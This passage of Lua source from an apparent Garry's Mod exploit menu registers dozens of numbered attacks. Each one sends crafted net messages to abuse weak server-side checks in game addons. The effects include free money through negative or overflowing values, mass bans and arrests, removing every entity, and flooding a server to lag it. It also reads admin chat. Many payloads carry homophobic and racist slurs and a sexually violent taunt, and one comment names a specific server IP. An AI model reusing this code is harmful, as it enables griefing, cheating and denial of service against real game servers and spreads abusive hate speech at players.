5002 if (status) then
5003 ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
5004
5005 addExploit("193", "Unarrest Person", "", function()
5006 surface.PlaySound("garrysmod/ui_click.wav")
5007 ECNotify("Starting")
5008
5009 for k, v in pairs(player.GetAll()) do
5010 net.Start("unarrestPerson")
5011 net.WriteEntity(v)
5012 net.SendToServer()
5013 end
5014 end)
5015 end
5016
5017 status = ValidNetString("giveArrestReason")
5018
5019 if (status) then
5020 ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
5021
5022 addExploit("194", "Give Arrest Reason", "", function()
5023 surface.PlaySound("garrysmod/ui_click.wav")
5024 ECNotify("Starting")
5025
5026 for k, v in pairs(player.GetAll()) do
5027 net.Start("giveArrestReason")
5028 net.WriteEntity(LocalPlayer())
5029 net.WriteEntity(v)
5030 net.WriteString("Faggot")
5031 net.SendToServer()
5032 end
5033 end)
5034 end
5035
5036 status = ValidNetString("sellitem")
5037
5038 if (status) then
5039 ECPrint("Found Exploit: Free Money #24 [sellitem]")
5040
5041 addExploit("195", "Free Money #24", "", function()
5042 surface.PlaySound("garrysmod/ui_click.wav")
5043 ECNotify("Starting")
5044 net.Start("sellitem")
5045 net.WriteString(self)
5046 net.WriteEntity(LocalPlayer())
5047 net.SendToServer()
5048 end)
5049 end
5050
5051 status = ValidNetString("createFaction")
5052
5053 if (status) then
5054 ECPrint("Found Exploit: Create Faction [createFaction]")
5055
5056 addExploit("196", "Create Faction", "", function()
5057 surface.PlaySound("garrysmod/ui_click.wav")
5058 ECNotify("Starting")
5059
5060 for k, v in pairs(player.GetAll()) do
5061 net.Start("createFaction")
5062 net.WriteEntity(v)
5063 net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
5064 net.SendToServer()
5065 end
5066 end)
5067 end
5068
5069 status = ValidNetString("inviteToOrganization")
5070
5071 if (status) then
5072 ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
5073
5074 addExploit("197", "Faction Invite All", "", function()
5075 surface.PlaySound("garrysmod/ui_click.wav")
5076 ECNotify("Starting")
5077
5078 for k, v in pairs(player.GetAll()) do
5079 net.Start("inviteToOrganization")
5080 net.WriteEntity(v)
5081 net.WriteEntity(LocalPlayer())
5082 net.SendToServer()
5083 end
5084 end)
5085 end
5086
5087 status = ValidNetString("GovStation_SpawnVehicle")
5088
5089 if (status) then
5090 ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
5091
5092 addExploit("198", "Gov Spawn", "", function()
5093 surface.PlaySound("garrysmod/ui_click.wav")
5094 ECNotify("Starting")
5095
5096 for k, v in pairs(ents.GetAll()) do
5097 net.Start("GovStation_SpawnVehicle")
5098 net.WriteString("GOV_POLICE")
5099 net.SendToServer()
5100 end
5101 end)
5102 end
5103
5104 status = ValidNetString("GiveWeapon")
5105
5106 if (status) then
5107 ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
5108
5109 addExploit("199", "Give Weapons #3", "get weapons", function()
5110 surface.PlaySound("garrysmod/ui_click.wav")
5111 ECNotify("Starting")
5112 net.Start("GiveWeapon")
5113 net.WriteEntity(LocalPlayer())
5114 net.WriteString("m9k_davy_crockett")
5115 net.WriteFloat(0)
5116 net.SendToServer()
5117 end)
5118 end
5119
5120 status = ValidNetString("DailyLoginClaim")
5121
5122 if (status) then
5123 ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
5124
5125 addExploit("200", "Daily Login Reward", "", function()
5126 surface.PlaySound("garrysmod/ui_click.wav")
5127 ECNotify("Starting")
5128 net.Start("DailyLoginClaim")
5129 net.SendToServer()
5130 end)
5131 end
5132
5133 status = ValidNetString("DL_AskLogsList")
5134
5135 if (status) then
5136 ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
5137
5138 addExploit("201", "Ask Log List", "", function()
5139 surface.PlaySound("garrysmod/ui_click.wav")
5140 ECNotify("Starting")
5141 net.Start("DL_AskLogsList")
5142 net.SendToServer()
5143 end)
5144 end
5145
5146 status = ValidNetString("DL_StartReport")
5147
5148 if (status) then
5149 ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
5150
5151 addExploit("202", "DL Report All", "", function()
5152 surface.PlaySound("garrysmod/ui_click.wav")
5153 ECNotify("Starting")
5154
5155 for k, v in pairs(player.GetAll()) do
5156 net.Start("DL_StartReport")
5157 net.SendToServer()
5158 net.Start("DL_ReportPlayer")
5159 net.WriteEntity(v)
5160 net.WriteString("Hes being a gay faggot plz ban him")
5161 net.SendToServer()
5162 end
5163 end)
5164 end
5165
5166 status = ValidNetString("sv_saveweapons")
5167
5168 if (status) then
5169 ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
5170
5171 addExploit("203", "DL Report All", "", function()
5172 surface.PlaySound("garrysmod/ui_click.wav")
5173 ECNotify("Starting")
5174 net.Start("sv_saveweapons")
5175 net.WriteString("weapon_ttt_rpg")
5176 net.WriteString("weapon_ttt_rpg")
5177 net.WriteString("eg")
5178 net.SendToServer()
5179 end)
5180 end
5181
5182 status = ValidNetString("SpecDM_SendLoadout")
5183
5184 if (status) then
5185 ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
5186
5187 addExploit("204", "SpecDM Exploit", "", function()
5188 surface.PlaySound("garrysmod/ui_click.wav")
5189 ECNotify("Starting")
5190 net.Start("SpecDM_SendLoadout")
5191 net.WriteString("eg")
5192 net.WriteString("weapon_ttt_defib")
5193 net.SendToServer()
5194 end)
5195 end
5196
5197 status = ValidNetString("PowerRoundsForcePR")
5198
5199 if (status) then
5200 ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
5201
5202 addExploit("205", "Power Rounds Force", "", function()
5203 surface.PlaySound("garrysmod/ui_click.wav")
5204 ECNotify("Starting")
5205 net.Start("PowerRoundsForcePR")
5206 net.SendToServer()
5207 end)
5208 end
5209
5210 status = ValidNetString("wyozimc_playply")
5211
5212 if (status) then
5213 ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
5214
5215 addExploit("206", "Wyozimc Music Exploit", "", function()
5216 surface.PlaySound("garrysmod/ui_click.wav")
5217 ECNotify("Starting")
5218
5219 for k, v in pairs(player.GetAll()) do
5220 net.Start("wyozimc_playply")
5221 net.WriteEntity(v)
5222 net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
5223 net.SendToServer()
5224 end
5225 end)
5226 end
5227
5228 status = ValidNetString("SendSteamID")
5229
5230 if (status) then
5231 ECPrint("Found Exploit: Send Mail's [SendSteamID]")
5232
5233 addExploit("207", "Send Mail's", "", function()
5234 surface.PlaySound("garrysmod/ui_click.wav")
5235 ECNotify("Starting")
5236
5237 for k, v in pairs(player.GetAll()) do
5238 net.Start("SendSteamID")
5239 net.WriteEntity(v)
5240 net.WriteString("Faggot")
5241 net.WriteString("Faggot")
5242 net.SendToServer()
5243 end
5244 end)
5245 end
5246
5247 status = ValidNetString("JB_GiveCubics")
5248
5249 if (status) then
5250 ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
5251
5252 addExploit("208", "Give Cubics All", "", function()
5253 surface.PlaySound("garrysmod/ui_click.wav")
5254 ECNotify("Starting")
5255
5256 for k, v in pairs(player.GetAll()) do
5257 net.Start("JB_GiveCubics")
5258 net.WriteEntity(v)
5259 net.WriteInt(math.floor(dwang:GetValue()), 255)
5260 net.SendToServer()
5261 end
5262 end)
5263 end
5264
5265 status = ValidNetString("JB_SelectWarden")
5266
5267 if (status) then
5268 ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
5269
5270 addExploit("209", "Select Warden All", "", function()
5271 surface.PlaySound("garrysmod/ui_click.wav")
5272 ECNotify("Starting")
5273
5274 for k, v in pairs(player.GetAll()) do
5275 net.Start("JB_SelectWarden")
5276 net.WriteEntity(v)
5277 net.SendToServer()
5278 end
5279 end)
5280 end
5281
5282 status = ValidNetString("RDMReason_Explain")
5283
5284 if (status) then
5285 ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
5286
5287 addExploit("210", "RDM Explain", "", function()
5288 surface.PlaySound("garrysmod/ui_click.wav")
5289 ECNotify("Starting")
5290
5291 for k, v in pairs(player.GetAll()) do
5292 net.Start("RDMReason_Explain")
5293
5294 net.WriteTable({
5295 id = v,
5296 reason = fgt
5297 })
5298
5299 net.SendToServer()
5300 end
5301 end)
5302 end
5303
5304 status = ValidNetString("redirectMsg")
5305
5306 if (status) then
5307 ECPrint("Found Exploit: Redirect Message [redirectMsg]")
5308
5309 addExploit("211", "Redirect Message", "", function()
5310 surface.PlaySound("garrysmod/ui_click.wav")
5311 ECNotify("Starting")
5312 net.Start("redirectMsg")
5313 net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
5314 net.SendToServer()
5315 end)
5316 end
5317
5318 status = ValidNetString("LB_AddBan")
5319
5320 if (status) then
5321 ECPrint("Found Exploit: LB Ban [LB_AddBan]")
5322
5323 addExploit("212", "LB Ban", "", function()
5324 surface.PlaySound("garrysmod/ui_click.wav")
5325 ECNotify("Starting")
5326
5327 for k, v in pairs(player.GetAll()) do
5328 if v ~= LocalPlayer() then
5329 net.Start("LB_AddBan")
5330 net.WriteString("STEAM_0:0:71238382")
5331 net.WriteString("fgt")
5332 net.SendToServer()
5333 end
5334 end
5335 end)
5336 end
5337
5338 status = ValidNetString("GET_Admin_MSGS")
5339
5340 if (status) then
5341 ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
5342
5343 addExploit("213", "Brass Admin Chat", "", function()
5344 surface.PlaySound("garrysmod/ui_click.wav")
5345 ECNotify("Starting")
5346 net.Start("GET_Admin_MSGS")
5347 net.SendToServer()
5348 net.Start("OPEN_ADMIN_CHAT")
5349 net.SendToServer()
5350 end)
5351 end
5352
5353 status = ValidNetString("br_send_pm")
5354
5355 if (status) then
5356 ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
5357
5358 addExploit("214", "Brass Email Send All", "", function()
5359 surface.PlaySound("garrysmod/ui_click.wav")
5360 ECNotify("Starting")
5361
5362 for k, v in pairs(player.GetAll()) do
5363 if v ~= LocalPlayer() then
5364 net.Start("br_send_pm")
5365 net.WriteString(v)
5366 net.WriteString("FGT")
5367 net.WriteEntity(v)
5368 net.SendToServer()
5369 end
5370 end
5371 end)
5372 end
5373
5374 status = ValidNetString("LAWYER.BailFelonOut")
5375
5376 if (status) then
5377 ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
5378
5379 addExploit("215", "Bail Felon Out", "", function()
5380 surface.PlaySound("garrysmod/ui_click.wav")
5381 ECNotify("Starting")
5382 net.Start("LAWYER.BailFelonOut")
5383 net.WriteString("1")
5384 net.WriteString("fgt")
5385 net.SendToServer()
5386 end)
5387 end
5388
5389 status = ValidNetString("LAWYER.GetBailOut")
5390
5391 if (status) then
5392 ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
5393
5394 addExploit("216", "Get Bail Out", "", function()
5395 surface.PlaySound("garrysmod/ui_click.wav")
5396 ECNotify("Starting")
5397 net.Start("LAWYER.GetBailOut")
5398 net.WriteString("Mick")
5399 net.WriteString("Mick")
5400 net.WriteString("1000000")
5401 net.SendToServer()
5402 end)
5403 end
5404
5405 status = ValidNetString("GrabMoney")
5406
5407 if (status) then
5408 ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
5409
5410 addExploit("217", "Get Bail Out", "", function()
5411 surface.PlaySound("garrysmod/ui_click.wav")
5412 ECNotify("Starting")
5413
5414 for k, v in pairs(ents.GetAll()) do
5415 if v:GetClass() == "gold" then
5416 if v:GetClass() == "silver" then
5417 if v:GetClass() == "vip" then
5418 if v:GetClass() == "vipgold" then
5419 net.Start("GrabMoney")
5420 net.WriteEntity(LocalPlayer())
5421 net.SendToServer()
5422 end
5423 end
5424 end
5425 end
5426 end
5427 end)
5428 end
5429
5430 status = ValidNetString("nox_addpremadepunishment")
5431
5432 if (status) then
5433 ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
5434
5435 addExploit("218", "Nox Ban", "", function()
5436 surface.PlaySound("garrysmod/ui_click.wav")
5437 ECNotify("Starting")
5438
5439 for k, v in pairs(player.GetAll()) do
5440 if v ~= LocalPlayer() then
5441 net.Start("nox_addpremadepunishment")
5442 net.WriteEntity("Sun")
5443 net.WriteUInt(2, 8)
5444 net.SendToServer()
5445 end
5446 end
5447 end)
5448 end
5449
5450 status = ValidNetString("NET_CR_TakeStoredMoney")
5451
5452 if (status) then
5453 ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
5454
5455 addExploit("219", "Steal Registry Money", "", function()
5456 surface.PlaySound("garrysmod/ui_click.wav")
5457 ECNotify("Starting")
5458
5459 for k, v in pairs(ents.GetAll()) do
5460 if v:GetClass() == "ss_cash_registry" then
5461 net.Start('NET_CR_TakeStoredMoney')
5462 net.WriteEntity("ss_cash_registry")
5463 net.WriteEntity(LocalPlayer())
5464 net.SendToServer()
5465 end
5466 end
5467 end)
5468 end
5469
5470 status = ValidNetString("HV_AmmoBuy")
5471
5472 if (status) then
5473 ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
5474
5475 addExploit("220", "HV Free Ammo", "", function()
5476 surface.PlaySound("garrysmod/ui_click.wav")
5477 ECNotify("Starting")
5478 net.Start("HV_AmmoBuy")
5479 net.WriteFloat("2")
5480 net.SendToServer()
5481 net.Start("HV_AmmoBuy")
5482 net.WriteFloat("1")
5483 net.SendToServer()
5484 end)
5485 end
5486
5487 status = ValidNetString("hitcomplete")
5488
5489 if (status) then
5490 ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
5491
5492 addExploit("221", "Super RP Hit", "", function()
5493 surface.PlaySound("garrysmod/ui_click.wav")
5494 ECNotify("Starting")
5495
5496 for k, v in pairs(player.GetAll()) do
5497 if v ~= LocalPlayer() then
5498 net.Start("hitcomplete")
5499 net.WriteEntity(v)
5500 net.SendToServer()
5501 end
5502 end
5503 end)
5504 end
5505
5506 status = ValidNetString("SyncRemoveAction")
5507
5508 if (status) then
5509 ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
5510
5511 addExploit("222", "Remove All", "", function()
5512 surface.PlaySound("garrysmod/ui_click.wav")
5513 ECNotify("Starting")
5514
5515 for k, v in pairs(ents.GetAll()) do
5516 net.Start("SyncRemoveAction")
5517 net.WriteEntity(v)
5518 net.SendToServer()
5519 end
5520 end)
5521 end
5522
5523 status = ValidNetString("TMC_NET_MakePlayerWanted")
5524
5525 if (status) then
5526 ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
5527
5528 addExploit("223", "Make All Wanted", "", function()
5529 surface.PlaySound("garrysmod/ui_click.wav")
5530 ECNotify("Starting")
5531
5532 for k, v in pairs(player.GetAll()) do
5533 net.Start("TMC_NET_MakePlayerWanted")
5534 net.WriteString("bad")
5535 net.WriteString("bad")
5536 net.SendToServer()
5537 end
5538 end)
5539 end
5540
5541 status = ValidNetString("thiefnpc")
5542
5543 if (status) then
5544 ECPrint("Found Exploit: Thief NPC [thiefnpc]")
5545
5546 addExploit("224", "Thief NPC", "", function()
5547 surface.PlaySound("garrysmod/ui_click.wav")
5548 ECNotify("Starting")
5549 net.Start('thiefnpc')
5550 net.WriteDouble(-99999999999999999)
5551 net.SendToServer()
5552 end)
5553 end
5554
5555 status = ValidNetString("TMC_NET_FirePlayer")
5556
5557 if (status) then
5558 ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
5559
5560 addExploit("225", "Fire Player", "", function()
5561 surface.PlaySound("garrysmod/ui_click.wav")
5562 ECNotify("Starting")
5563 net.Start("TMC_NET_FirePlayer")
5564 net.WriteString("Paypal")
5565 net.SendToServer()
5566 end)
5567 end
5568
5569 status = ValidNetString("updateLaws")
5570
5571 if (status) then
5572 ECPrint("Found Exploit: Update Laws [updateLaws]")
5573
5574 addExploit("226", "Update Laws", "", function()
5575 surface.PlaySound("garrysmod/ui_click.wav")
5576 ECNotify("Starting")
5577 net.Start("updateLaws")
5578 net.WriteString("Bitch")
5579 net.SendToServer()
5580 end)
5581 end
5582
5583 status = ValidNetString("LotteryMenu")
5584
5585 if (status) then
5586 ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
5587
5588 addExploit("227", "Free Money #25", "", function()
5589 surface.PlaySound("garrysmod/ui_click.wav")
5590 ECNotify("Starting")
5591 net.Start("LotteryMenu")
5592 net.WriteEntity(LocalPlayer())
5593 net.WriteInt(1000000000000000000, 16)
5594 net.SendToServer()
5595 end)
5596 end
5597
5598 status = ValidNetString("soundArrestCommit")
5599
5600 if (status) then
5601 ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
5602
5603 addExploit("228", "Sound Arrest", "", function()
5604 surface.PlaySound("garrysmod/ui_click.wav")
5605 ECNotify("Starting")
5606 net.Start("soundArrestCommit")
5607 net.WriteString("Shit")
5608 net.SendToServer()
5609 end)
5610 end
5611
5612 status = ValidNetString("hoverboardpurchase")
5613
5614 if (status) then
5615 ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
5616
5617 addExploit("229", "Hover Board", "", function()
5618 surface.PlaySound("garrysmod/ui_click.wav")
5619 ECNotify("Starting")
5620 net.Start("hoverboardpurchase")
5621 net.WriteInt(8, 32)
5622 net.SendToServer()
5623 end)
5624 end
5625
5626 status = ValidNetString("SpawnProtection")
5627
5628 if (status) then
5629 ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
5630
5631 addExploit("230", "Off Spawn Protection", "", function()
5632 surface.PlaySound("garrysmod/ui_click.wav")
5633 ECNotify("Starting")
5634 net.Start("SpawnProtection")
5635 net.WriteFloat(0)
5636 net.SendToServer()
5637 end)
5638 end
5639
5640 status = ValidNetString("NPCShop_BuyItem")
5641
5642 if (status) then
5643 ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
5644
5645 addExploit("231", "NPC Shop", "", function()
5646 surface.PlaySound("garrysmod/ui_click.wav")
5647 ECNotify("Starting")
5648 net.Start("NPCShop_BuyItem")
5649 net.WriteString("weapon_hack_phone")
5650 net.SendToServer()
5651 end)
5652 end
5653
5654 status = ValidNetString("CubeRiot CaptureZone Update")
5655
5656 if (status) then
5657 ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
5658
5659 addExploit("232", "CubeRiot Exploit", "", function()
5660 surface.PlaySound("garrysmod/ui_click.wav")
5661 ECNotify("Starting")
5662 net.Start("CubeRiot CaptureZone Update")
5663 net.WriteUInt(1, 8)
5664 net.WriteVector("2654.989258 2254.119629 -139.968750")
5665 net.WriteVector("2654.989258 2254.119629 -139.968750")
5666 net.SendToServer()
5667 end)
5668 end
5669
5670 status = ValidNetString("deposit")
5671
5672 if (status) then
5673 ECPrint("Found Exploit: Free Money #26 [deposit]")
5674
5675 addExploit("233", "Free Money #26", "", function()
5676 surface.PlaySound("garrysmod/ui_click.wav")
5677 ECNotify("Starting")
5678 net.Start("deposit")
5679 net.WriteString("-10000000000000000000000")
5680 net.SendToServer()
5681 end)
5682 end
5683
5684 status = ValidNetString("AcceptRequest")
5685
5686 if (status) then
5687 ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
5688
5689 addExploit("234", "Call Exploit", "", function()
5690 surface.PlaySound("garrysmod/ui_click.wav")
5691 ECNotify("Starting")
5692
5693 for k, v in pairs(player.GetAll()) do
5694 net.Start("AcceptRequest")
5695 net.WriteEntity(v)
5696 net.SendToServer()
5697 end
5698 end)
5699 end
5700
5701 status = ValidNetString("Chess ClientWager")
5702
5703 if (status) then
5704 ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
5705
5706 addExploit("235", "Chess Exploit", "", function()
5707 surface.PlaySound("garrysmod/ui_click.wav")
5708 ECNotify("Starting")
5709 net.Start("Chess ClientWager")
5710 net.WriteUInt(-999999999999999999999999999, 24)
5711 net.SendToServer()
5712 net.Start("Chess ClientResign")
5713 net.SendToServer()
5714 end)
5715 end
5716
5717 status = ValidNetString("netOrgVoteInvite_Server")
5718
5719 if (status) then
5720 ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
5721
5722 addExploit("236", "Org Invite All", "", function()
5723 surface.PlaySound("garrysmod/ui_click.wav")
5724 ECNotify("Starting")
5725
5726 for k, v in pairs(player.GetAll()) do
5727 net.Start("netOrgVoteInvite_Server")
5728 net.WriteEntity(v)
5729 net.SendToServer()
5730 end
5731 end)
5732 end
5733
5734 status = ValidNetString("donatorshop_itemtobuy")
5735
5736 if (status) then
5737 ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
5738
5739 addExploit("237", "Donator Box Exploit", "", function()
5740 surface.PlaySound("garrysmod/ui_click.wav")
5741 ECNotify("Starting")
5742 net.Start("donatorshop_itemtobuy")
5743 net.WriteString("DonatorShopBuyTripwire")
5744 net.SendToServer()
5745 end)
5746 end
5747
5748 status = ValidNetString("AskPickupItemInv")
5749
5750 if (status) then
5751 ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
5752
5753 addExploit("238", "Ask Item", "", function()
5754 surface.PlaySound("garrysmod/ui_click.wav")
5755 ECNotify("Starting")
5756
5757 for k, v in pairs(player.GetAll()) do
5758 net.Start("AskPickupItemInv")
5759 net.WriteUInt(4, 16)
5760 net.WriteUInt(1, 16)
5761 net.SendToServer()
5762 end
5763 end)
5764 end
5765
5766 status = ValidNetString("buy_bundle")
5767
5768 if (status) then
5769 ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
5770
5771 addExploit("239", "Buy Bundle", "", function()
5772 surface.PlaySound("garrysmod/ui_click.wav")
5773 ECNotify("Starting")
5774 net.Start("buy_bundle")
5775 net.WriteFloat(1, 16)
5776 net.SendToServer()
5777 end)
5778 end
5779
5780 status = ValidNetString("LawyerOfferBail")
5781
5782 if (status) then
5783 ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
5784
5785 addExploit("240", "Lawyer Off Bail", "", function()
5786 surface.PlaySound("garrysmod/ui_click.wav")
5787 ECNotify("Starting")
5788
5789 for k, v in pairs(player.GetAll()) do
5790 net.Start("LawyerOfferBail")
5791 net.WriteEntity(v)
5792 net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5793 net.SendToServer()
5794 net.Start("AcceptBailOffer")
5795 net.WriteEntity(v)
5796 net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5797 net.SendToServer()
5798 end
5799 end)
5800 end
5801
5802 status = ValidNetString("MineServer")
5803
5804 if (status) then
5805 ECPrint("Found Exploit: Lagger #22 [MineServer]")
5806
5807 addExploit("241", "Lagger #22", "lags", function()
5808 surface.PlaySound("garrysmod/ui_click.wav")
5809 ECNotify("Starting")
5810
5811 for i = 0, 100 do
5812 for k, v in pairs(player.GetAll()) do
5813 net.Start("MineServer", true)
5814 net.WriteString("sell")
5815 net.WriteEntity(v)
5816 net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
5817 net.SendToServer()
5818 end
5819 end
5820 end)
5821 end
5822
5823 status = ValidNetString("Gb_gasstation_BuyGas")
5824
5825 if (status) then
5826 ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
5827
5828 addExploit("242", "Ukrainian gas", "", function()
5829 surface.PlaySound("garrysmod/ui_click.wav")
5830 ECNotify("Starting")
5831 net.Start("Gb_gasstation_BuyGas")
5832 net.SendToServer()
5833 net.Start("Gb_gasstation_BuyJerrycan")
5834 net.SendToServer()
5835 end)
5836 end
5837
5838 status = ValidNetString("D3A_CreateOrg")
5839
5840 if (status) then
5841 ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
5842
5843 addExploit("243", "D3A Create Org", "", function()
5844 surface.PlaySound("garrysmod/ui_click.wav")
5845 ECNotify("Starting")
5846 net.Start("D3A_CreateOrg")
5847 net.WriteString('969690485273489312467812367128312312314')
5848 net.WriteString('123712983712984571298712398')
5849 net.WriteString("255 255 255")
5850 net.SendToServer()
5851 end)
5852 end
5853
5854 status = ValidNetString("Shop_buy")
5855
5856 if (status) then
5857 ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
5858
5859 addExploit("244", "SUP Buy Armor", "", function()
5860 surface.PlaySound("garrysmod/ui_click.wav")
5861 ECNotify("Starting")
5862 net.Start("Shop_buy")
5863 net.WriteString("Armor")
5864 net.SendToServer()
5865 end)
5866 end
5867
5868 status = ValidNetString("LawsToServer")
5869
5870 if (status) then
5871 ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
5872
5873 addExploit("245", "SUP New Laws", "", function()
5874 surface.PlaySound("garrysmod/ui_click.wav")
5875 ECNotify("Starting")
5876 net.Start("LawsToServer")
5877 net.WriteString("FAGGOTS")
5878 net.SendToServer()
5879 end)
5880 end
5881
5882 status = ValidNetString("D3A_Message")
5883
5884 if (status) then
5885 ECPrint("Found Exploit: D3A Message [D3A_Message]")
5886
5887 addExploit("246", "D3A Message", "", function()
5888 surface.PlaySound("garrysmod/ui_click.wav")
5889 ECNotify("Starting")
5890 local stuff = {}
5891 net.Start("D3A_Message")
5892 net.WriteString("FAGGOTS")
5893 net.WriteTable(stuff)
5894 net.SendToServer()
5895 end)
5896 end
5897
5898 status = ValidNetString("misswd_accept")
5899
5900 if (status) then
5901 ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
5902
5903 addExploit("247", "Misswd Accept", "", function()
5904 surface.PlaySound("garrysmod/ui_click.wav")
5905 ECNotify("Starting")
5906
5907 for k, v in pairs(player.GetAll()) do
5908 for i = 0, 100 do
5909 net.Start("misswd_accept")
5910 net.WriteEntity(v)
5911 net.SendToServer()
5912 end
5913 end
5914 end)
5915 end
5916
5917 status = ValidNetString("ScannerMenu")
5918
5919 if (status) then
5920 ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
5921
5922 addExploit("248", "Scanner Exploit", "", function()
5923 surface.PlaySound("garrysmod/ui_click.wav")
5924 ECNotify("Starting")
5925
5926 for k, v in pairs(player.GetAll()) do
5927 net.Start("ScannerMenu")
5928 net.WriteEntity(v)
5929 net.WriteFloat(1)
5930 net.WriteFloat(1)
5931 net.SendToServer()
5932 end
5933 end)
5934 end
5935
5936 status = ValidNetString("ORG_NewOrg")
5937
5938 if (status) then
5939 ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
5940
5941 addExploit("249", "New ORG", "", function()
5942 surface.PlaySound("garrysmod/ui_click.wav")
5943 ECNotify("Starting")
5944 net.Start("ORG_NewOrg")
5945 net.WriteString("I FUCKING HATE YOU!")
5946 net.SendToServer()
5947 end)
5948 end
5949
5950 status = ValidNetString("ORG_VaultDonate")
5951
5952 if (status) then
5953 ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
5954
5955 addExploit("250", "Free Money #27", "", function()
5956 surface.PlaySound("garrysmod/ui_click.wav")
5957 ECNotify("Starting")
5958 net.Start("ORG_VaultDonate")
5959 net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
5960 net.SendToServer()
5961 end)
5962 end
5963
5964 status = ValidNetString("Selldatride")
5965
5966 if (status) then
5967 ECPrint("Found Exploit: Sell Datride [Selldatride]")
5968
5969 addExploit("251", "Sell Datride", "", function()
5970 surface.PlaySound("garrysmod/ui_click.wav")
5971 ECNotify("Starting")
5972
5973 for k, v in pairs(player.GetAll()) do
5974 net.Start("Selldatride")
5975 net.WriteEntity(v)
5976 net.SendToServer()
5977 end
5978 end)
5979 end
5980
5981 status = ValidNetString("passmayorexam")
5982
5983 if (status) then
5984 ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
5985
5986 addExploit("252", "Passexam Exploit", "", function()
5987 surface.PlaySound("garrysmod/ui_click.wav")
5988 ECNotify("Starting")
5989 net.Start("passmayorexam")
5990 net.SendToServer()
5991 end)
5992 end
5993
5994 status = ValidNetString("levelup_useperk")
5995
5996 if (status) then
5997 ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
5998
5999 addExploit("253", "LevelUp Exploit", "", function()
6000 surface.PlaySound("garrysmod/ui_click.wav")
6001 ECNotify("Starting")
6002 net.Start("levelup_useperk")
6003 net.WriteInt(1, 8)
6004 net.WriteInt(2, 8)
6005 net.WriteInt(3, 8)
6006 net.WriteInt(4, 8)
6007 net.SendToServer()
6008 end)
6009 end
6010
6011 status = ValidNetString("ZED_SpawnCar")
6012
6013 if (status) then
6014 ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
6015
6016 addExploit("254", "ZED Spawn Car", "", function()
6017 surface.PlaySound("garrysmod/ui_click.wav")
6018 ECNotify("Starting")
6019 net.Start("ZED_SpawnCar")
6020 net.WriteFloat(1)
6021 net.SendToServer()
6022 end)
6023 end
6024
6025 status = ValidNetString("DeployMask") -- 37.230.228.248:27016
6026
6027 if (status) then
6028 ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
6029
6030 addExploit("255", "To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
6031 surface.PlaySound("garrysmod/ui_click.wav")
6032 ECNotify("Starting")
6033
6034 for k, v in pairs(ents.GetAll()) do
6035 net.Start("DeployMask")
6036 net.WriteEntity(v)
6037 net.SendToServer()
6038 end
6039 end)
6040 end
6041
6042 status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
6043
6044 if (status) then
6045 ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
6046
